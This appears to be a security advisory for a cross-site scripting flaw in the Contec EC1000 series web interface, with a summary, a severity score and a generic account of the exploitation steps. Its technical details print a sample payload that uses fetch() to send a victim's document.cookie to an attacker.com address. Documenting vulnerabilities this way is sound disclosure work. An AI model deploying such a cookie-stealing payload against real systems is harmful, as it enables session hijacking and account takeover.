Description

Cross-site scripting vulnerability exists in Contec EC1000 series. If this vulnerability is exploited, an arbitrary script may be executed on a logged-in user's web browser.

Executive Summary

Technical Details

Mitigations

References

Additional Metadata

{
  "score": "5.4",
  "pubDate": "2026-09-14T07:17:18.413Z",
  "pubdate": "2026-09-14T07:17:18.413Z",
  "executiveSummary": "A Cross-Site Scripting (XSS) vulnerability has been identified in the Contec EC1000 series web interface. This security flaw allows unauthenticated or authenticated remote attackers to inject malicious client-side scripts into web pages viewed by other users.\nThe vulnerability manifests due to insufficient validation and sanitization of user-supplied input before it is reflected back to the browser. Successful exploitation enables the execution of arbitrary JavaScript within the security context of the victim's session, potentially leading to session hijacking, unauthorized data access, or the performance of unauthorized actions on behalf of the user.\nThis vulnerability poses a significant risk to the integrity and confidentiality of the administrative session. Attackers can leverage this flaw to compromise the management interface of the affected device, potentially leading to further unauthorized system configuration changes. Exploitation requires the attacker to trick a legitimate user, such as an administrator, into interacting with a crafted malicious URL or input field, necessitating minimal technical skill from the adversary.",
  "technicalDetails": "The vulnerability is a classic reflected or stored Cross-Site Scripting (XSS) condition residing within the web management interface of the Contec EC1000 series. The root cause is the failure of the application's input processing logic to correctly sanitize, encode, or validate user-supplied parameters before reflecting them in the HTTP response body.\nDuring the attack flow, an adversary identifies an entry point—such as a search field, input parameter, or configuration field—that echoes user input into the HTML document object model (DOM). By injecting malicious JavaScript payloads disguised as legitimate input, the attacker forces the victim's browser to execute the code upon rendering the affected page.\nSince the script executes within the victim's browser context, it inherits the session cookies and authority of the logged-in user. This bypasses typical same-origin policy restrictions if the browser interprets the injected data as legitimate active content. The payload can be engineered to exfiltrate session tokens, perform background API requests to the Contec EC1000 series device to modify device settings, or redirect the user to a malicious domain.\nTechnical exploitation generally follows these steps: First, the attacker crafts a malicious payload, such as '<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>'. Second, the attacker causes the victim to process this payload, either by sending a specially crafted link or by injecting the payload into a persistent storage location if the vulnerability allows for stored XSS. Third, the browser renders the unsanitized output, executing the script. Consequently, the attacker achieves post-exploitation execution of code, which may result in a complete compromise of the victim's management session or the modification of sensitive configuration data on the target device."
}